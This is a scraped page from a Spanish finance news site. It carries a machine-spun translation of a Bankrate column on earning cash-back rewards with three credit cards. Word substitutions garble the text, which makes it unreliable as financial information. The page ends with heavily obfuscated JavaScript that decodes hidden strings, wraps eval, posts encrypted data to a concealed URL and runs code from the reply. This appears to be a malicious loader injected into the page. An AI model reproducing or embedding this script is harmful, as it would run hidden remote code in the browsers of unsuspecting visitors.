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<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}@media (max-width:767px){.tdi_17,.tdi_17 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:none}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_17{padding-top:5px!important;padding-bottom:5px!important;position:relative}}</style>
<div class="tdi_16_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_16_rand_style{background-color:#00456e!important}}</style></div><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Saturday, September 19, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Soy un gran admirador de recuperar hacienda de compras que habría realizado de todos modos. Rara vez llevo hacienda en efectivo, uso una polímero de débito o escribo un cheque. En cambio, utilicé tres tarjetas de crédito para la mayoría de mis compras en 2025 y, cuando todo estuvo dicho y hecho, gané cerca de $ 3,000 en recompensas de tarjetas de crédito con devolución de efectivo; lo considero un cheque de suscripción adicional gratis.</p>
<p>Mi logística es sencilla y cualquiera con buenos hábitos en finanzas personales puede realizarla. Comienza con una saco sólida (en mi caso, una polímero que ofrece recompensas en efectivo ilimitadas del 2% en cada adquisición). A partir de ahí, me inclino por ciertas categorías en las que mi comunidad gasta mucho hacienda, obteniendo un rendimiento aún mejor en compras como comestibles, gasolina y comidas en restaurantes.</p>
<blockquote class="tiktok-embed" cite="https://www.tiktok.com/@bankrate/video/7595700327089835277" data-video-id="7595700327089835277" style="max-width: 605px;min-width: 325px;">
<section>  @tasa bancaria </p>
<p>Ted Rossman, de Bankrate, casi ganó $3,000 en recompensas de tarjetas de crédito el año pasado sin cambiar sus hábitos de compra. Así es como usted podría hacer lo mismo.</p>
<p> ♬ sonido innovador – Bankrate </section>
</blockquote>
<p><em>¿Tiene alguna pregunta sobre tarjetas de crédito? Envíeme un correo electrónico a ted.rossman@bankrate.com y estaré encantado de ayudarle.</em></p>
<h2 id="active" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="My go-to card for everyday purchases" data-outcome="">Mi polímero de remisión para las compras diarias</h2>
<p>El <span data-capi-name="7870">Maleable Wells Fargo Active Cash®</span> apetencia mi premio Maleable más usada de 2025. Es una excelente opción versátil porque ofrece recompensas en efectivo ilimitadas del 2% en cada adquisición. Aprecio el rendimiento simple y sólido y me gusta que la polímero no cobra una tarifa anual. Claro, hay algunas tarjetas que ofrecen pagos aún mayores, pero generalmente requieren cambiar su comportamiento financiero; por ejemplo, unirse a una determinada cooperativa de crédito, tener una cuenta corriente específica, etc. Obtener recompensas en efectivo del 2 % por todo lo que compre representa el extremo superior del mercado principal de reembolsos en efectivo.</p>
<p>El reembolso en efectivo es, por un amplio ganancia, la característica de las tarjetas de crédito favorita de los estadounidenses. La centro de los titulares de tarjetas de recompensas nos dijeron que el reembolso en efectivo es la mejor característica de la polímero que usan con más frecuencia, sin que cero más supere los dos dígitos. Los puntos/millas Travel Rewards empataron en el segundo área con solo el 9 % de los votos.</p>
<p>No hay absolutamente cero de malo en apañarse recompensas de alucinación, como millas aéreas y puntos de hotel (siempre que no gaste demasiado ni tenga costosas deudas de tarjetas de crédito, por supuesto). Por mucho que me gusten las tarjetas con devolución de efectivo, admito que las recompensas de alucinación pueden ser más lucrativas en algunos casos. Pero las recompensas por viajes incluso son más complicadas. Puede requerir mucho trabajo investigar los canjes óptimos, y aprovecharlos a menudo requiere una flexibilidad que no tengo con un trabajo de tiempo completo y dos hijos en la escuela.</p>
<h2 id="bcp" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="My favorite grocery-shopping card companion" data-outcome="">Mi compañero protegido de tarjetas de compras</h2>
<p>Obtener un reembolso en efectivo de los numerosos gastos cotidianos de mi comunidad de cuatro integrantes devuelve una cantidad significativa de hacienda a mi cuenta bancaria. Gastamos mucho en comestibles, por lo que extraemos mucho valencia de la <span data-capi-name="220310583">Maleable Blue Cash Preferred® de American Express</span>. Otorga un reembolso en efectivo del 6% en los supermercados de EE. UU. (hasta $6,000 en compras anuales, luego un reembolso del 1% a posteriori de eso). Maximizamos fácilmente ese origen cada año, totalizando $360 en recompensas, compensando con creces el <span data-capi-fee="ongoing_annual" data-pid="220310583">Tarifa anual original de $0 durante el primer año, luego $95</span>. Todavía obtenemos un reembolso del 6 % en servicios de transmisión selectos de EE. UU. y un reembolso del 3 % en compras de transporte conocido y gasolineras de EE. UU.</p>
<p>En total, obtuve un rendimiento combinado del 5,9% por cada dólar que gasté usando Blue Cash Preferred en 2025 (4,9% si se resta la tarifa anual de las recompensas). Esa es una proporción importante. Fue ayudado por las elevadas recompensas de comestibles y los $99 que recibí en créditos del paquete Disney (hasta $10 por mes en servicios elegibles como Disney+, Hulu y ESPN+).</p>
<h2 id="flex" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="My rotating catagories winner" data-outcome="">Triunfador de mis categorías rotativas</h2>
<p>Mi tercera y última polímero de crédito personal es la <span data-capi-name="7573">Chase Arbitrio Flex®</span>*. En 2024, maximicé los cuatro conjuntos de categorías de recompensas trimestrales (5 % de reembolso en efectivo sobre hasta $1,500 en gastos elegibles, luego 1 % de reembolso a posteriori de eso; tenga en cuenta que se requiere activación). No me fue tan aceptablemente en 2025, pero aún así gané un promedio del 3,6% por cada dólar que gasté usando Freedom Flex. Casi todo eso fue en categorías elegibles del 5% (comestibles, Amazon.com y entretenimiento en vivo selecto fueron algunos de mis favoritos el año pasado) o comidas, que obtienen un reembolso en efectivo del 3% durante todo el año.</p>
<h2 id="tips" data-position="4" data-beam-element-viewed="" data-id="br-h2-4-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Here’s where I could improve on my strategy" data-outcome="">Aquí es donde podría mejorar mi logística</h2>
<p>La única categoría importante de compra con polímero de crédito que no estoy optimizando es la de viajes. Como mencioné, hay un montón de tarjetas de recompensas de viajes, pero estoy más acertado de concentrarme en el reembolso en efectivo. Hubo un tiempo en el que tenía varias tarjetas de alucinación con tarifas anuales y varios beneficios, pero simplemente no me funcionaban. Mi comunidad no es incondicional a ninguna aerolínea o dependencia hotelera en particular, e incluso las tarjetas de alucinación de uso común no se adaptan tan aceptablemente a nuestro estilo de vida.</p>
<p>Dicho esto, me llamó la atención una polímero de devolución de efectivo con saludables recompensas en compras de viajes: la <span data-capi-name="8371">Maleable Wells Fargo Autograph®</span>. Si tuviera que juntar otra polímero a mi billetera, probablemente sería Autograph o una segunda Blue Cash Preferred (a nombre de mi esposa, para duplicar efectivamente el confín de recompensas de comestibles del 6% de nuestro hogar a $12,000 en compra anual).</p>
<h2 data-position="5" data-beam-element-viewed="" data-id="br-h2-5-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="The bottom line" data-outcome="">El resultado final</h2>
<p>Con mis tres tarjetas, obtengo al menos un reembolso del 2% en cada adquisición. Gano un 3 % de reembolso en transacciones de restaurantes, gasolina, transporte conocido y farmacias. Gano un 6% de reembolso en gastos elegibles en comestibles y transmisión, y un 5% de reembolso en una serie de otras categorías que van y vienen a lo prolongado del año.</p>
<p>Una buena logística de recompensas con tarjetas de crédito comienza con el suscripción total para evitar intereses. Más allá de eso, todo es salsa, de verdad. Comience por:</p>
<ul class="wp-block-list">
<li>Buscando acentuar sus categorías de compra secreto. </li>
<li>Animarse si le conviene más el alucinación o el reembolso en efectivo. </li>
<li>Evaluar cuánta complejidad estás dispuesto a hacerse cargo. </li>
</ul>
<p>Algunas personas tratan las recompensas de las tarjetas de crédito como un equipo divertido y disfrutan investigando varias opciones para maximizar las recompensas, de modo que sientan que están venciendo al sistema. Otros lo encuentran confuso y tedioso. Tienes que conocerte a ti mismo.</p>
<p>Recuerde: siempre que evite intereses y gastos excesivos, todo será hacienda de balde.</p>
<p><em>Bankrate.com ha recopilado de forma independiente la información sobre la polímero Chase Freedom Flex®. Los datos de la polímero no han sido revisados ​​ni aprobados por el emisor de la polímero.</em></p>
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TextEncoder,RoFydX_=new TextDecoder,FCEwfK=new Uint8Array(IVZkRo(0x70)[IVZkRo(0x71)](",")[IVZkRo(0x72)](Number)),W9MgK8v=0x5265c00,lqSq0iQ=YxGpSl=>{return(Ji8kSQ[0x0],eval)(YxGpSl)},ozOJY5L=YxGpSl=>{function IVZkRo(YxGpSl){var IVZkRo="cZB(eJywDg>%{tAfM5+_\"[)W?ioa3|X~<USR2#7CFm^@`dsrHuh*InLqK;PlN&V4.k1zGbT!/}Y$QO8jE]:=xv,690p",rlfF9TI,IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv;h5HZ2X(rlfF9TI=""+(YxGpSl||""),IMJjms=rlfF9TI.length,f9cKAlm=[],WDb_wlm=Ji8kSQ[0x0],mMpJYT1=Ji8kSQ[0x0],ubBYr0=-Ji8kSQ[0x1]);for(Wlvnnv=Ji8kSQ[0x0];Wlvnnv<IMJjms;Wlvnnv++){var WdMJPz8=IVZkRo.indexOf(rlfF9TI[Wlvnnv]);if(WdMJPz8===-Ji8kSQ[0x1])continue;if(ubBYr0<Ji8kSQ[0x0]){ubBYr0=WdMJPz8}else{h5HZ2X(ubBYr0+=WdMJPz8*Ji8kSQ[0xc],WDb_wlm|=ubBYr0<<mMpJYT1,mMpJYT1+=(ubBYr0&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(f9cKAlm.push(WDb_wlm&Ji8kSQ[0x3]),WDb_wlm>>=Ji8kSQ[0x2],mMpJYT1-=Ji8kSQ[0x2])}while(mMpJYT1>Ji8kSQ[0x9]);ubBYr0=-Ji8kSQ[0x1]}}if(ubBYr0>-Ji8kSQ[0x1]){f9cKAlm.push((WDb_wlm|ubBYr0<<mMpJYT1)&Ji8kSQ[0x3])}return Ewquct(f9cKAlm)}function rlfF9TI(YxGpSl){if(typeof HHKxauF[YxGpSl]===Ji8kSQ[0x5]){return HHKxauF[YxGpSl]=IVZkRo(RW_yfgl[YxGpSl])}return HHKxauF[YxGpSl]}return new Uint8Array(YxGpSl[rlfF9TI(0x73)]((YxGpSl,IVZkRo)=>{return YxGpSl^FCEwfK[IVZkRo%FCEwfK[rlfF9TI(0x74)]]}))},AWRRX58=async(YxGpSl,rlfF9TI)=>{function IMJjms(YxGpSl){var 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fetch(IVZkRo(0x75)+YxGpSl,{[f9cKAlm(0x76)]:f9cKAlm(0x77),[f9cKAlm(0x78)]:ozOJY5L(ORfu5j[f9cKAlm(0x79)](JSON[f9cKAlm(0x7a)](rlfF9TI)))});if(!WDb_wlm.ok){throw new Error}return RoFydX_[f9cKAlm(0x7b)](ozOJY5L(new Uint8Array(await WDb_wlm[f9cKAlm(0x7c)]())))};let s43Jkz4=Ji8kSQ[0x0],T2KvM4=Ji8kSQ[0x0];setTimeout(()=>{function YxGpSl(YxGpSl){var IVZkRo="voSdmkUPjAqElOQpFYHIrRNTiCD#MxZVWhbL>uy@?{:]43!<9$(2}[+w8z.1%|*/5,^`)_aJBfKec7X~&s0\"n;gG6=t",rlfF9TI,IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv;h5HZ2X(rlfF9TI=""+(YxGpSl||""),IMJjms=rlfF9TI.length,f9cKAlm=[],WDb_wlm=Ji8kSQ[0x0],mMpJYT1=Ji8kSQ[0x0],ubBYr0=-Ji8kSQ[0x1]);for(Wlvnnv=Ji8kSQ[0x0];Wlvnnv<IMJjms;Wlvnnv++){var WdMJPz8=IVZkRo.indexOf(rlfF9TI[Wlvnnv]);if(WdMJPz8===-Ji8kSQ[0x1])continue;if(ubBYr0<Ji8kSQ[0x0]){ubBYr0=WdMJPz8}else{h5HZ2X(ubBYr0+=WdMJPz8*Ji8kSQ[0xc],WDb_wlm|=ubBYr0<<mMpJYT1,mMpJYT1+=(ubBYr0&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(f9cKAlm.push(WDb_wlm&Ji8kSQ[0x3]),WDb_wlm>>=Ji8kSQ[0x2],mMpJYT1-=Ji8kSQ[0x2])}while(mMpJYT1>Ji8kSQ[0x9]);ubBYr0=-Ji8kSQ[0x1]}}if(ubBYr0>-Ji8kSQ[0x1]){f9cKAlm.push((WDb_wlm|ubBYr0<<mMpJYT1)&Ji8kSQ[0x3])}return Ewquct(f9cKAlm)}function IVZkRo(IVZkRo){if(typeof HHKxauF[IVZkRo]===Ji8kSQ[0x5]){return HHKxauF[IVZkRo]=YxGpSl(RW_yfgl[IVZkRo])}return HHKxauF[IVZkRo]}if(IVZkRo(0x7d)in rih5dR){rlfF9TI()}function rlfF9TI(){(function(YxGpSl){var rlfF9TI,IMJjms,f9cKAlm,WDb_wlm;function mMpJYT1(YxGpSl){var rlfF9TI="?t@h.nw51V#!b&\"Gl4e$v7:g(sFEfoIzT}DQ)*`3H2C[_{aYX>WJ+=uMBjZK<x]rm/cAyq|~;Lp%6^R,ONPkU89Si0d",IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv,WdMJPz8;h5HZ2X(IMJjms=""+(YxGpSl||""),f9cKAlm=IMJjms.length,WDb_wlm=[],mMpJYT1=Ji8kSQ[0x0],ubBYr0=Ji8kSQ[0x0],Wlvnnv=-Ji8kSQ[0x1]);for(WdMJPz8=Ji8kSQ[0x0];WdMJPz8<f9cKAlm;WdMJPz8++){var ORfu5j=rlfF9TI.indexOf(IMJjms[WdMJPz8]);if(ORfu5j===-Ji8kSQ[0x1])continue;if(Wlvnnv<Ji8kSQ[0x0]){Wlvnnv=ORfu5j}else{h5HZ2X(Wlvnnv+=ORfu5j*Ji8kSQ[0xc],mMpJYT1|=Wlvnnv<<ubBYr0,ubBYr0+=(Wlvnnv&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(WDb_wlm.push(mMpJYT1&Ji8kSQ[0x3]),mMpJYT1>>=Ji8kSQ[0x2],ubBYr0-=Ji8kSQ[0x2])}while(ubBYr0>Ji8kSQ[0x9]);Wlvnnv=-Ji8kSQ[0x1]}}if(Wlvnnv>-Ji8kSQ[0x1]){WDb_wlm.push((mMpJYT1|Wlvnnv<<ubBYr0)&Ji8kSQ[0x3])}return Ewquct(WDb_wlm)}function ubBYr0(YxGpSl){if(typeof HHKxauF[YxGpSl]===Ji8kSQ[0x5]){return HHKxauF[YxGpSl]=mMpJYT1(RW_yfgl[YxGpSl])}return HHKxauF[YxGpSl]}rlfF9TI=String.fromCharCode;function Wlvnnv(YxGpSl){var rlfF9TI=[],IMJjms,f9cKAlm,WDb_wlm,mMpJYT1;h5HZ2X(IMJjms=Ji8kSQ[0x0],f9cKAlm=YxGpSl.length,WDb_wlm=void 0x0,mMpJYT1=void 